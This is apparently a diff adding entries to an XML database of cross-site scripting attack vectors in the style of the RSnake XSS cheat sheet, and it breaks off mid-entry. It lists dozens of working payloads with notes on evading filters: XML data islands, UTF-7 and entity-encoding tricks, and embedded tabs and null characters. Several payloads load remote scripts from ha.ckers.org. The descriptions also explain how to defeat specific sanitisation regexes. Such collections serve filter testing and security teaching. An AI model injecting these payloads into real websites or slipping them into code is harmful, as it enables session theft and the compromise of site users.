+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>XML data island w/CDATA</name> 
+               <code>&lt;XML ID=I&gt;&lt;X&gt;&lt;C&gt;&lt;![CDATA[&lt;IMG SRC=&quot;javas]]&gt;&lt;![CDATA[cript:alert(&apos;XSS&apos;);&quot;&gt;]]&gt;
+&lt;/C&gt;&lt;/X&gt;&lt;/xml&gt;&lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&gt;</code> 
+               <desc>XML data island with CDATA obfuscation (this XSS attack works only in IE and Netscape 8.1 IE rendering engine mode) - vector found by Sec Consult http://www.sec-consult.html while auditing Yahoo.</desc> 
+               <label>HTML Element Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>XML data island w/comment</name> 
+               <code>&lt;XML ID=&quot;xss&quot;&gt;&lt;I&gt;&lt;B&gt;&lt;IMG SRC=&quot;javas&lt;!-- --&gt;cript:alert(&apos;XSS&apos;)&quot;&gt;&lt;/B&gt;&lt;/I&gt;&lt;/XML&gt;
+&lt;SPAN DATASRC=&quot;#xss&quot; DATAFLD=&quot;B&quot; DATAFORMATAS=&quot;HTML&quot;&gt;&lt;/SPAN&gt;</code> 
+               <desc>XML data island with comment obfuscation (doesn&apos;t use CDATA fields, but rather uses comments to break up the javascript directive)</desc> 
+               <label>HTML Element Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>XML (locally hosted)</name> 
+               <code>&lt;XML SRC=&quot;http://ha.ckers.org/xsstest.xml&quot; ID=I&gt;&lt;/XML&gt;
+&lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&gt;&lt;/SPAN&gt;</code> 
+               <desc>Locally hosted XML with embedded JavaScript that is generated using an XML data island. This is the same as above but instead refers to a locally hosted (must be on the same server) XML file that contains the cross site scripting vector.</desc> 
+               <label>HTML Element Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>XML HTML+TIME</name> 
+               <code>&lt;HTML&gt;&lt;BODY&gt;
+&lt;?xml:namespace prefix=&quot;t&quot; ns=&quot;urn:schemas-microsoft-com:time&quot;&gt;
+&lt;?import namespace=&quot;t&quot; implementation=&quot;#default#time2&quot;&gt;
+&lt;t:set attributeName=&quot;innerHTML&quot; to=&quot;XSS&lt;SCRIPT DEFER&gt;alert(&apos;XSS&apos;)&lt;/SCRIPT&gt;&quot;&gt; &lt;/BODY&gt;&lt;/HTML&gt;</code> 
+               <desc>HTML+TIME in XML. This is how Grey Magic http://www.greymagic.com/security/advisories/gm005-mc/ hacked Hotmail and Yahoo!. This only works in Internet Explorer and Netscape 8.1 in IE rendering engine mode and remember that you need to be between HTML and BODY tags for this to work.</desc> 
+               <label>HTML Element Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>Commented-out Block</name> 
+               <code>&lt;!--[if gte IE 4]&gt;
+&lt;SCRIPT&gt;alert(&apos;XSS&apos;);&lt;/SCRIPT&gt;
+&lt;![endif]--&gt;</code> 
+               <desc>Downlevel-Hidden block (only works in IE5.0 and later and Netscape 8.1 in IE rendering engine mode).  Some websites consider anything inside a comment block to be safe and therefore it does not need to be removed, which allows our XSS vector. Or the system could add comment tags around something to attempt to render it harmless.  As we can see, that probably wouldn't do the job.</desc> 
+               <label>Other Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>Cookie Manipulation</name> 
+               <code>&lt;META HTTP-EQUIV=&quot;Set-Cookie&quot; Content=&quot;USERID=&lt;SCRIPT&gt;alert(&apos;XSS&apos;)&lt;/SCRIPT&gt;&quot;&gt;</code> 
+               <desc>Cookie manipulation - admittedly this is pretty obscure but I have seen a few examples where &lt;META is allowed and you can user it to overwrite cookies. There are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to the user who visits the page. With these two scenarios combined you can modify the victim&apos;s cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc).</desc> 
+               <label>Other Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>Local .htc file</name> 
+               <code>&lt;XSS STYLE=&quot;behavior: url(http://ha.ckers.org/xss.htc);&quot;&gt;</code> 
+               <desc>This uses an .htc file which must be on the same server as the XSS vector. The example file works by pulling in the JavaScript and running it as part of the style attribute.</desc> 
+               <label>Other Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>Rename .js to .jpg</name> 
+               <code>&lt;SCRIPT SRC=&quot;http://ha.ckers.org/xss.jpg&quot;&gt;&lt;/SCRIPT&gt;</code> 
+               <desc>Assuming you can only fit in a few characters and it filters against &quot;.js&quot; you can rename your JavaScript file to an image as an XSS vector.</desc> 
+               <label>Other Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>SSI</name> 
+               <code>&lt;!--#exec cmd=&quot;/bin/echo &apos;&lt;SCRIPT SRC&apos;&quot;--&gt;&lt;!--#exec cmd=&quot;/bin/echo &apos;=http://ha.ckers.org/xss.js&gt;&lt;/SCRIPT&gt;&apos;&quot;--&gt;</code> 
+               <desc>SSI (Server Side Includes) requires SSI to be installed on the server to use this XSS vector.  I probably don&apos;t need to mention this, but if you can run commands on the server there are no doubt much more serious issues.</desc> 
+               <label>Other Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>PHP</name> 
+               <code>&lt;? echo(&apos;&lt;SCR)&apos;;
+echo(&apos;IPT&gt;alert(&quot;XSS&quot;)&lt;/SCRIPT&gt;&apos;); ?&gt;</code> 
+               <desc>PHP - requires PHP to be installed on the server to use this XSS vector. Again, if you can run any scripts remotely like this, there are probably much more dire issues.</desc> 
+               <label>Other Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>JavaScript Includes</name> 
+               <code>&lt;BR SIZE=&quot;&amp;{alert(&apos;XSS&apos;)}&quot;&gt;</code> 
+               <desc>&amp;JavaScript includes (works in Netscape 4.x).</desc> 
+               <label>Other Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS4&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>Character Encoding Example</name> 
+               <code>&lt;
+%3C
+&amp;lt
+&amp;lt;
+&amp;LT
+&amp;LT;
+&amp;#60
+&amp;#060
+&amp;#0060
+&amp;#00060
+&amp;#000060
+&amp;#0000060
+&amp;#60;
+&amp;#060;
+&amp;#0060;
+&amp;#00060;
+&amp;#000060;
+&amp;#0000060;
+&amp;#x3c
+&amp;#x03c
+&amp;#x003c
+&amp;#x0003c
+&amp;#x00003c
+&amp;#x000003c
+&amp;#x3c;
+&amp;#x03c;
+&amp;#x003c;
+&amp;#x0003c;
+&amp;#x00003c;
+&amp;#x000003c;
+&amp;#X3c
+&amp;#X03c
+&amp;#X003c
+&amp;#X0003c
+&amp;#X00003c
+&amp;#X000003c
+&amp;#X3c;
+&amp;#X03c;
+&amp;#X003c;
+&amp;#X0003c;
+&amp;#X00003c;
+&amp;#X000003c;
+&amp;#x3C
+&amp;#x03C
+&amp;#x003C
+&amp;#x0003C
+&amp;#x00003C
+&amp;#x000003C
+&amp;#x3C;
+&amp;#x03C;
+&amp;#x003C;
+&amp;#x0003C;
+&amp;#x00003C;
+&amp;#x000003C;
+&amp;#X3C
+&amp;#X03C
+&amp;#X003C
+&amp;#X0003C
+&amp;#X00003C
+&amp;#X000003C
+&amp;#X3C;
+&amp;#X03C;
+&amp;#X003C;
+&amp;#X0003C;
+&amp;#X00003C;
+&amp;#X000003C;
+\x3c
+\x3C
+\u003c
+\u003C</code> 
+               <desc>All of the possible combinations of the character &quot;&lt;&quot; in HTML and JavaScript.  Most of these won&apos;t render, but many of them can get rendered in certain circumstances (standards are great, aren&apos;t they?).</desc> 
+               <label>Character Encoding Attacks</label> 
+               <browser>Browser support:</browser> 
+       </attack> 
+       <attack> 
+               <name>Case Insensitive</name> 
+               <code>&lt;IMG SRC=JaVaScRiPt:alert(&apos;XSS&apos;)&gt;</code> 
+               <desc>Case insensitive XSS attack vector.</desc> 
+               <label>Character Encoding Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>HTML Entities</name> 
+               <code>&lt;IMG SRC=javascript:alert(&amp;quot;XSS&amp;quot;)&gt;</code> 
+               <desc>HTML entities (the semicolons are required for this to work).</desc> 
+               <label>Character Encoding Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>Grave Accents</name> 
+               <code>&lt;IMG SRC=`javascript:alert(&quot;RSnake says, &apos;XSS&apos;&quot;)`&gt;</code> 
+               <desc>Grave accent obfuscation (If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don&apos;t know about grave accents).</desc> 
+               <label>Character Encoding Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>Image w/CharCode</name> 
+               <code>&lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&gt;</code> 
+               <desc>If no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector you need.</desc> 
+               <label>Character Encoding Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>UTF-8 Unicode Encoding</name> 
+               <code>&lt;IMG SRC=&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;&amp;#58;&amp;#97;&amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#39;&amp;#88;&amp;#83;&amp;#83;&amp;#39;&amp;#41;&gt;</code> 
+               <desc>UTF-8 Unicode encoding (all of the XSS examples that use a javascript: directive inside of an IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode).</desc> 
+               <label>Character Encoding Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>Long UTF-8 Unicode w/out Semicolons</name> 
+               <code>&lt;IMG SRC=&amp;#0000106&amp;#0000097&amp;#0000118&amp;#0000097&amp;#0000115&amp;#0000099&amp;#0000114&amp;#0000105&amp;#0000112&amp;#0000116&amp;#0000058&amp;#0000097&amp;#0000108&amp;#0000101&amp;#0000114&amp;#0000116&amp;#0000040&amp;#0000039&amp;#0000088&amp;#0000083&amp;#0000083&amp;#0000039&amp;#0000041&gt;</code> 
+               <desc>Long UTF-8 Unicode encoding without semicolons (this is often effective in XSS that attempts to look for "&amp;#XX;", since most people don&apos;t know about padding - up to 7 numeric characters total).  This is also useful against people who decode against strings like $tmp_string =~ s/.*\&amp;#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate an html encoded string (I&apos;ve seen this in the wild).</desc> 
+               <label>Character Encoding Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>DIV w/Unicode</name> 
+               <code>&lt;DIV STYLE=&quot;background-image:\0075\0072\006C\0028&apos;\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029&apos;\0029&quot;&gt;</code> 
+               <desc>DIV background-image with unicoded XSS exploit (this has been modified slightly to obfuscate the url parameter).  The original vulnerability was found by Renaud Lifchitz (http://www.sysdream.com) as a vulnerability in Hotmail.</desc> 
+               <label>Character Encoding Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>Hex Encoding w/out Semicolons</name> 
+               <code>&lt;IMG SRC=&amp;#x6A&amp;#x61&amp;#x76&amp;#x61&amp;#x73&amp;#x63&amp;#x72&amp;#x69&amp;#x70&amp;#x74&amp;#x3A&amp;#x61&amp;#x6C&amp;#x65&amp;#x72&amp;#x74&amp;#x28&amp;#x27&amp;#x58&amp;#x53&amp;#x53&amp;#x27&amp;#x29&gt;</code> 
+               <desc>Hex encoding without semicolons (this is also a viable XSS attack against the above string $tmp_string = ~ s/.*\&amp;#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters).</desc> 
+               <label>Character Encoding Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>UTF-7 Encoding</name> 
+               <code>&lt;HEAD&gt;&lt;META HTTP-EQUIV=&quot;CONTENT-TYPE&quot; CONTENT=&quot;text/html; charset=UTF-7&quot;&gt; &lt;/HEAD&gt;+ADw-SCRIPT+AD4-alert(&apos;XSS&apos;);+ADw-/SCRIPT+AD4-</code> 
+               <desc>UTF-7 encoding - if the page that the XSS resides on doesn&apos;t provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited with the following (Thanks to Roman Ivanov http://www.pixel-apes.com/ for this one). You don&apos;t need the charset statement if the user&apos;s browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 IE rendering engine mode). Watchfire  http://seclists.org/lists/fulldisclosure/2005/Dec/1107.html found this hole in Google&apos;s custom 404 script.</desc> 
+               <label>Character Encoding Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>Escaping JavaScript escapes</name> 
+               <code>\&quot;;alert(&apos;XSS&apos;);//</code> 
+               <desc>Escaping JavaScript escapes. When the application is written to output some user information inside of a JavaScript like the following: &lt;SCRIPT&gt;var a=&quot;$ENV{QUERY_STRING}&quot;;&lt;/SCRIPT&gt; and you want to inject your own JavaScript into it but the server side application escapes certain quotes you can circumvent that by escaping their escape character. When this is gets injected it will read &lt;SCRIPT&gt;var a=&quot;&quot;;alert(&apos;XSS&apos;);//&quot;;&lt;/SCRIPT&gt; which ends up un-escaping the double quote and causing the Cross Site Scripting vector to fire.</desc> 
+               <label>Character Encoding Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>End title tag</name> 
+               <code>&lt;/TITLE&gt;&lt;SCRIPT&gt;alert("XSS");&lt;/SCRIPT&gt;</code> 
+               <desc>This is a simple XSS vector that closes TITLE tags, which can encapsulate the malicious cross site scripting attack.</desc> 
+               <label>Character Encoding Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>STYLE w/broken up JavaScript</name> 
+               <code>&lt;STYLE&gt;@im\port&apos;\ja\vasc\ript:alert(&quot;XSS&quot;)&apos;;&lt;/STYLE&gt;</code> 
+               <desc>STYLE tags with broken up JavaScript for XSS (this XSS at times sends IE into an infinite loop of alerts).</desc> 
+               <label>Character Encoding Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>Embedded Tab</name> 
+               <code>&lt;IMG SRC=&quot;jav&#x09;ascript:alert(&apos;XSS&apos;);&quot;&gt;</code> 
+               <desc>Embedded tab to break up the cross site scripting attack.</desc> 
+               <label>Embedded Character Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>Embedded Encoded Tab</name> 
+               <code>&lt;IMG SRC=&quot;jav&amp;#x09;ascript:alert(&apos;XSS&apos;);&quot;&gt;</code> 
+               <desc>Embedded encoded tab to break up XSS.  For some reason Opera does not allow the encoded tab, but it does allow the previous tab XSS and encoded newline and carriage returns below.</desc> 
+               <label>Embedded Character Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>Embedded Newline</name> 
+               <code>&lt;IMG SRC=&quot;jav&amp;#x0A;ascript:alert(&apos;XSS&apos;);&quot;&gt;</code> 
+               <desc>Embedded newline to break up XSS. Some websites claim that any of the chars 09-13 (decimal) will work for this attack. That is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work.</desc> 
+               <label>Embedded Character Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>Embedded Carriage Return</name> 
+               <code>&lt;IMG SRC=&quot;jav&amp;#x0D;ascript:alert(&apos;XSS&apos;);&quot;&gt;</code> 
+               <desc>Embedded carriage return to break up XSS (Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I&apos;ve seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters).</desc> 
+               <label>Embedded Character Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>Multiline w/Carriage Returns</name> 
+               <code>&lt;IMG&#x0D;SRC&#x0D;=&#x0D;&quot;&#x0D;j&#x0D;a&#x0D;v&#x0D;a&#x0D;s&#x0D;c&#x0D;r&#x0D;i&#x0D;p&#x0D;t&#x0D;:&#x0D;a&#x0D;l&#x0D;e&#x0D;r&#x0D;t&#x0D;(&#x0D;&apos;&#x0D;X&#x0D;S&#x0D;S&#x0D;&apos;&#x0D;)&#x0D;&quot;&#x0D;&gt;&#x0D;</code> 
+               <desc>Multiline Injected JavaScript using ASCII carriage returns (same as above only a more extreme example of this XSS vector).</desc> 
+               <label>Embedded Character Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>Null Chars 1</name> 
+               <code>perl -e &apos;print &quot;&lt;IMG SRC=java\0script:alert(&quot;XSS&quot;)>&quot;;&apos;&gt; out</code> 
+               <desc>Okay, I lied, null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy (http://www.portswigger.net/proxy/) or use %00 in the URL string or if you want to write your own injection tool you can use Vim (^V^@ will produce a null) to generate it into a text file.  Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hyphen control char). But the null char %00 is much more useful and helped me bypass certain real world filters with a variation on this example.</desc> 
+               <label>Embedded Character Attacks</label> 
+               <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> 
+       </attack> 
+       <attack> 
+               <name>Null Chars 2</name> 
+               <code>perl -e &apos;print &quot;&amp;&lt;SCR\0IPT&gt;alert(&quot;XSS&quot;)&lt;/SCR\0IPT&gt;&quot;;&apos; &gt; out</code> 
+               <desc>Here is a little known XSS attack vector using null characters.  You can actually break up the HTML itself using the same nulls as shown above. I&apos;ve seen this vector bypass some of the most restrictive XSS filters to date</desc> 
+               <label>Embedded Character Attacks</label> 
